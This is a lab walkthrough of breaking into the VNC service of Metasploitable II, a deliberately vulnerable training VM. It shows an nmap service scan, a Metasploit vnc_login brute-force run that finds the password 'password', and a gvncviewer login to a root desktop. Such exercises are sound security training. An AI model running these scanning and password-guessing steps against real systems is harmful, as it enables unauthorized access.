Metasploitable II: VNC service

Lets first start off with an nmap scan of the remote host.

root@ubuntu:~# nmap -sV -T4 192.168.56.101

Starting Nmap 7.60 ( https://nmap.org ) at 2020-02-06 18:01 MST
Nmap scan report for 192.168.56.101
Host is up (0.00053s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login
514/tcp  open  shell       Netkit rshd
1099/tcp open  rmiregistry GNU Classpath grmiregistry
1524/tcp open  shell       Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:AA:7E:5A (Oracle VirtualBox virtual NIC)
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.18 seconds
root@ubuntu:~# 

As you can see we have alot of ports open. We are intrested in the 5900/tcp open vnc VNC (protocol 3.3) portion of the scan. Lets fire up metasploit and start to exploit the remote vnc service.

The first tool we will use is the module auxiliary/scanner/vnc/vnc_login inside metasploit.

msf5 > use auxiliary/scanner/vnc/vnc_login
msf5 auxiliary(scanner/vnc/vnc_login) > show options

Module options (auxiliary/scanner/vnc/vnc_login):

   Name              Current Setting                                                  Required  Description
   ----              ---------------                                                  --------  -----------
   BLANK_PASSWORDS   false                                                            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                            no        Add all users in the current database to the list
   PASSWORD                                                                           no        The password to test
   PASS_FILE         /home/sam/metasploit-framework/data/wordlists/vnc_passwords.txt  no        File containing passwords, one per line
   Proxies                                                                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT             5900                                                             yes       The target port (TCP)
   STOP_ON_SUCCESS   false                                                            yes       Stop guessing when a credential works for a host
   THREADS           1                                                                yes       The number of concurrent threads (max one per host)
   USERNAME                                                                    no        A specific username to authenticate as
   USERPASS_FILE                                                                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                                                            no        Try the username as the password for all users
   USER_FILE                                                                          no        File containing usernames, one per line
   VERBOSE           true                                                             yes       Whether to print output for all attempts

msf5 auxiliary(scanner/vnc/vnc_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/vnc/vnc_login) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf5 auxiliary(scanner/vnc/vnc_login) > run

[*] 192.168.56.101:5900   - 192.168.56.101:5900 - Starting VNC login sweep
[!] 192.168.56.101:5900   - No active DB -- Credential data will not be saved!
[+] 192.168.56.101:5900   - 192.168.56.101:5900 - Login Successful: :password
[*] 192.168.56.101:5900   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/vnc/vnc_login) > 

We successfully guessed the password for the vnc login. Now its time to login to the vnc with gvncviewer and see what we got.

root@ubuntu:~# gvncviewer 192.168.56.101
Connected to server
Got credential request for 1 credential(s)
Gtk-Message: 18:06:47.280: GtkDialog mapped without a transient parent. This is discouraged.
Remote desktop size changed to 1024x768
Connection initialized

As you can see we got a root shell inside of the vnc we connected to with the password we found from running the vnc_login module from metasploit.